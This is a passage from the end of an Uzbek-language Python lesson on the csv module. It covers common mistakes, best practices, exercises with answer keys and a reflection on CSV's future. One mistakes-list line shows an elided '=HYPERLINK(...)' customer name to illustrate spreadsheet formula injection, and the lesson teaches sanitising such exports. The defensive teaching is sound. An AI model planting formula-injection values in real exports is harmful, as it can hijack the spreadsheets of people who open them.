ism, manzil = qator.split(",")                     # ❌
for ism, manzil in csv.reader(f): ...              # ✅

2. newline siz ochish

python
open("a.csv", "w", encoding="utf-8")               # ❌ Windows: \r\r\n
open("a.csv", "w", encoding="utf-8", newline="")   # ✅

3. BOM li sarlavha

python
yozuv["ism"]                                       # ❌ KeyError: '\ufeffism'
open(yol, encoding="utf-8-sig", newline="")        # ✅

4. Satrni son deb ishlatish

python
sum(q["summa"] for q in oquvchi)                   # ❌ TypeError
sum(Decimal(q["summa"]) for q in oquvchi)          # ✅

5. O'nli vergul

python
float("125 000,50")                                # ❌ ValueError
Decimal("125 000,50".replace(" ", "").replace(",", "."))   # ✅

6. Xato xabarida qator raqami yo'q

python
raise ValueError("summa noto'g'ri")                # ❌ 10 000 qatorning qaysi biri?
raise ValueError(f"{yol}:{oquvchi.line_num}: summa noto'g'ri")   # ✅

7. Foydalanuvchi matnini to'g'ridan-to'g'ri eksport

python
yozuvchi.writerow([mijoz.ism])                     # ❌ =HYPERLINK(...)
yozuvchi.writerow([xavfsiz(mijoz.ism)])            # ✅

8. DictWriter ga ortiqcha maydonli lug'at

python
csv.DictWriter(f, ["ism"]).writerow(foydalanuvchi.__dict__)       # ❌ ValueError (yoki parol sizib chiqadi)
csv.DictWriter(f, ["ism"], extrasaction="ignore")                 # ✅ aniq ustunlar

7. Integratsiya — bu bilim qayerda kerak bo'ladi

  • 4.8–4.9-darslar (o'tilgan): Unicode va kodlashlar, BOM
  • 15.4-dars (o'tilgan): strptime bilan sanalarni o'qish
  • 16.1-dars (o'tilgan): matn fayllari va newline
  • 16.2-dars (o'tilgan): JSON — turlari bor format
  • 16.7-dars: CSV ni sqlite3 ga yuklash
  • 16.8-dars: katta fayllarni oqim bilan qayta ishlash
  • 24-qism: pandas read_csv — tahlil uchun
  • 26.10-dars: Excel va hujjatlar bilan ishlash

8. Eng yaxshi amaliyotlar

  1. Har doim csv moduli va newline="".

  2. O'qishda utf-8-sig; Excel uchun yozishda ham utf-8-sig.

  3. Manbaning lahjasini aniq bering; noma'lum manbada Sniffer + tekshiruv.

  4. Sarlavhalarni normallashtiring (strip, lower).

  5. Turlarni aniq funksiyalar bilan tiklang; pul — Decimal.

  6. Xatolarda fayl nomi va line_num.

  7. Eksportda foydalanuvchi matnini zararsizlantiring.

  8. DictWriter da fieldnames ni aniq bering.


9. Amaliy topshiriq

Vazifa 1: Natijani bashorat qiling

python
import csv, io
def yoz(qator, **kw):
    b = io.StringIO(); csv.writer(b, lineterminator="", **kw).writerow(qator); return b.getvalue()
1.  print(yoz(["a", "b c", "d,e"]))
2.  print(yoz(['U "ha" dedi']))
3.  print(yoz([None, "", 0]))
4.  print(yoz(["a", 1], quoting=csv.QUOTE_ALL))
5.  print(yoz(["a", 1], quoting=csv.QUOTE_NONNUMERIC))
6.  print(next(csv.reader(['a,"b,c"'])))
7.  print(next(csv.reader(['1;2,5'], delimiter=";")))
8.  print(next(csv.reader(['"x",1'], quoting=csv.QUOTE_NONNUMERIC)))
9.  print(list(csv.DictReader(io.StringIO("a,b\n1\n"))))
10. print(list(csv.DictReader(io.StringIO("a\n1,2\n"))))
11. print(list(csv.reader(io.StringIO("a\n\nb\n"))))
12. print(csv.Sniffer().sniff("x;y\n1;2\n").delimiter)
Javoblar
  1. a,b c,"d,e"
  2. "U ""ha"" dedi"
  3. ,,0
  4. "a","1"
  5. "a",1
  6. ['a', 'b,c']
  7. ['1', '2,5']
  8. ['x', 1.0]
  9. [{'a': '1', 'b': None}]
  10. [{'a': '1', None: ['2']}]
  11. [['a'], [], ['b']]
  12. ;

Vazifa 2: Xatolarni tuzating

python
1.  def oqi(yol):
        with open(yol) as f:
            return [qator.strip().split(",") for qator in f]

2.  def eksport(yol, foydalanuvchilar):
        with open(yol, "w", encoding="utf-8") as f:
            yozuvchi = csv.DictWriter(f, fieldnames=["ism", "email"])
            yozuvchi.writeheader()
            for u in foydalanuvchilar:
                yozuvchi.writerow(u)          # u da "parol_xesh" ham bor

3.  def jami(yol):
        with open(yol, encoding="utf-8", newline="") as f:
            return sum(float(q["Summa"]) for q in csv.DictReader(f))   # Excel'dan: BOM, ";", "12 500,00"

4.  def xato_xabari(yol):
        with open(yol, encoding="utf-8-sig", newline="") as f:
            for i, q in enumerate(csv.reader(f), start=1):
                if len(q) != 3:
                    print(f"{i}-qator noto'g'ri")    # ko'p qatorli maydonlar bor

5.  def hisobot(yol, mijozlar):
        with open(yol, "w", encoding="utf-8-sig", newline="") as f:
            csv.writer(f).writerows([m.ism, m.izoh] for m in mijozlar)   # foydalanuvchi kiritgan matn
Javoblar
python
1.  def oqi(yol):
        with open(yol, encoding="utf-8-sig", newline="") as f:
            return list(csv.reader(f))

2.  def eksport(yol, foydalanuvchilar):
        with open(yol, "w", encoding="utf-8-sig", newline="") as f:
            yozuvchi = csv.DictWriter(f, fieldnames=["ism", "email"], extrasaction="ignore")
            yozuvchi.writeheader()
            yozuvchi.writerows(foydalanuvchilar)

3.  def jami(yol):
        with open(yol, encoding="utf-8-sig", newline="") as f:
            return sum((Decimal(q["Summa"].replace(" ", "").replace(",", "."))
                        for q in csv.DictReader(f, delimiter=";")), Decimal(0))

4.  def xato_xabari(yol):
        with open(yol, encoding="utf-8-sig", newline="") as f:
            oquvchi = csv.reader(f)
            for q in oquvchi:
                if len(q) != 3:
                    print(f"{oquvchi.line_num}-qatorda tugagan yozuv noto'g'ri")

5.  def hisobot(yol, mijozlar):
        with open(yol, "w", encoding="utf-8-sig", newline="") as f:
            csv.writer(f).writerows([xavfsiz(m.ism), xavfsiz(m.izoh)] for m in mijozlar)

Vazifa 3: CSV validator CLI

csvtekshir fayl.csv --sxema sxema.json:

  1. Sxema: ustun nomi, tur (int, decimal, date:%d.%m.%Y, str), majburiylik, regex
  2. Lahja va kodlash avtomatik aniqlansin, --delimiter bilan qo'lda berish ham mumkin
  3. Barcha xatolar fayl:qator:ustun: sabab ko'rinishida; birinchi 50 tasi va jami soni
  4. Chiqish kodi: 0 — toza, 1 — xatolar bor, 2 — faylni o'qib bo'lmadi

Vazifa 4: CSV farqlovchi

Ikki eksport (kechagi va bugungi) — kalit ustun (id) bo'yicha:

  1. Qo'shilgan, o'chirilgan, o'zgargan yozuvlar (qaysi ustun o'zgargani bilan)
  2. Ustunlar tartibi farq qilsa ham ishlasin
  3. Natija — Excel'da ochiladigan CSV (utf-8-sig, ;, zararsizlantirish)
  4. 1 000 000 qatorli fayllarda xotira sarfini o'lchang (tracemalloc)

Vazifa 5: CSV ↔ JSON Lines

  1. CSV → JSON Lines: sxema bo'yicha turlar bilan
  2. JSON Lines → CSV: ichma-ich maydonlar manzil.shahar ko'rinishida tekislansin
  3. Ro'yxat maydonlari — | bilan birlashtirilsin va qaytib ajratilsin
  4. Aylanib qaytish testi: CSV → JSONL → CSV bir xil bo'lsin

Vazifa 6: Bo'laklarga ajratish

  1. Katta CSV ni har biri N qatordan bo'laklarga ajrating; har bo'lakda sarlavha bo'lsin
  2. Ko'p qatorli maydonlar bo'laklar orasida bo'linmasin
  3. Bo'laklarni qayta birlashtirib asl fayl bilan solishtiring
  4. --by shahar — ustun qiymati bo'yicha alohida fayllarga

Vazifa 7: O'ylash

CSV 1970-yillardan beri ishlatiladi, rasmiy RFC esa faqat 2005-yilda paydo bo'ldi va u ham "informatsion" maqomda. Shunga qaramay CSV bugun ham ma'lumot almashishning eng keng tarqalgan formatlaridan biri. Nega CSV o'lmayapti, va uning muammolari (kodlash, lahja, turlar, formula injection) qaysi yondashuvlar bilan hal qilinmoqda — Parquet, JSON Lines, "CSV on the Web" kabi alternativlar CSV o'rnini egallay oladimi?

Javob

Qisqa javob: CSV o'lmaydi, chunki u eng kichik umumiy maxraj: har qanday dastur — Excel, bazalar, grep, 1990-yillarning buxgalteriya tizimi — uni o'qiy va yoza oladi, odam uni matn muharririda ko'radi. Uning muammolari formatning o'zida emas, metama'lumotning yo'qligida: kodlash, ajratgich, turlar faylda yozilmagan. Alternativlar ma'lum sohalarda (tahlil, katta hajm, API) CSV ni siqib chiqarmoqda, lekin odamlar va eski tizimlar orasidagi almashinuvda CSV o'rnini egallay olmaydi.

1. Nega CSV yashovchan

Sabab Tafsilot
Universal Excel, Google Sheets, har bir SUBD, har bir til
Odam o'qiydi Muharrirda ochiladi, diff va grep ishlaydi
Oqimli Qatorma-qator yoziladi va o'qiladi
Kutubxonasiz yaratish mumkin Eski tizimlar ham eksport qila oladi
Biznes foydalanuvchisi uchun tushunarli "Excel fayl" ma'nosida

2. Muammolar ildizi — metama'lumot yo'q

Muammo Nima yetishmaydi
Kodlash Faylda kodlash e'lon qilinmaydi (BOM — yarim yechim)
Lahja Ajratgich, qo'shtirnoq, o'nli belgi — tashqi kelishuv
Turlar 00123 satrmi yoki sonmi — noma'lum
Sxema Ustunlar ma'nosi, majburiyligi — hujjatda (yoki hech qayerda)
Formula injection Format va jadval dasturi orasidagi chegara yo'q

3. Alternativlar va ularning o'rni

Yondashuv Nimani hal qiladi CSV o'rnini egallaydimi
Parquet, Arrow Turlar, sxema, siqish, ustunli tezlik Tahlil va data lake larda — ha; odamlar orasida — yo'q
JSON Lines Turlar (qisman), ichma-ich tuzilma, oqim API va jurnallarda — ha
CSV on the Web (W3C) Alohida JSON metama'lumot fayli: turlar, ustunlar Kam qo'llanadi
Frictionless Data Package CSV + sxema paketi Ochiq ma'lumotlarda
XLSX Turlar, formatlash Biznesda — yonma-yon
SQLite fayl Turlar, indekslar, SQL Ma'lumot almashishda asta o'sib bormoqda (16.7)

4. Amaliy saboqlar

  1. CSV ni qabul qilishda — ishonchsiz kiritish sifatida: kodlash, lahja, sxema tekshiruvi, line_num bilan xatolar
  2. CSV ni berishda — hujjatlangan kelishuv: UTF-8 (Excel uchun BOM), ajratgich, sana va son formati
  3. Ichki quvurlarda — turli formatlar (Parquet, JSONL, SQLite)
  4. Tashqi foydalanuvchiga — CSV/XLSX, formula injection himoyasi bilan

5. Xulosa

  1. CSV soddaligi va universalligi tufayli yashaydi
  2. Muammolar — metama'lumot yo'qligidan
  3. Alternativlar mashinalar orasida g'olib, odamlar orasida CSV qoladi
  4. Muhandis vazifasi — CSV chegarasida qat'iy tekshiruv va aniq kelishuv

Nimani mustahkamlaydi: 2.1–2.9-bo'limlar.


Xulosa

Bu darsda CSV bilan to'g'ri ishlashni va uning jim tuzoqlarini o'rgandik.

Eng muhim uch fikr:

  1. Faqat csv moduli va har doim newline="". split(",") qo'shtirnoq ichidagi vergul va qator uzilishini buzadi; writer qo'shtirnoq va ikkilangan qo'shtirnoqni o'zi qo'yadi. newline="" bo'lmasa Windows'da \r\r\n va jim o'zgargan maydonlar paydo bo'ladi. Xato xabarlarida enumerate emas, reader.line_num — ko'p qatorli maydonlar bor.

  2. CSV da turlar va metama'lumot yo'q. Hamma qiymat satr: sanalar, Decimal summalar, mantiqiy qiymatlar aniq funksiyalar bilan tiklanadi; None va "" farqi faqat QUOTE_STRINGS/QUOTE_NOTNULL bilan saqlanadi. Manba lahjasi (ajratgich, o'nli vergul) va kodlash (BOM) — tashqi kelishuv: o'qishda utf-8-sig, noma'lum manbada Sniffer, sarlavhalarni normallashtirish; DictReader da restkey/restval, DictWriter da extrasaction.

  3. CSV eksporti — Excel uchun ham, xavfsizlik uchun ham dizayn. Excel UTF-8 ni BOM bilan taniydi (utf-8-sig), o'nli vergulli mintaqada ; kutadi. Foydalanuvchi kiritgan matn =, +, -, @ bilan boshlansa formula bo'lib ishga tushishi mumkin — csv moduli bundan himoya qilmaydi, matn maydonlarini eksportda zararsizlantirish dastur mas'uliyati.

Keyingi darsda Python obyektlarini to'g'ridan-to'g'ri saqlash — pickle: u qanday ishlaydi, nega ishonchsiz manbadan pickle.load masofadan kod bajarishga olib keladi va qachon undan voz kechish kerak.

Ulashish:Telegram'da

Izohlar (0)

Izoh yozish uchun kiring.

  • Hozircha izoh yo'q. Birinchi bo'ling!
16.3-dars: csv — IlmHamroh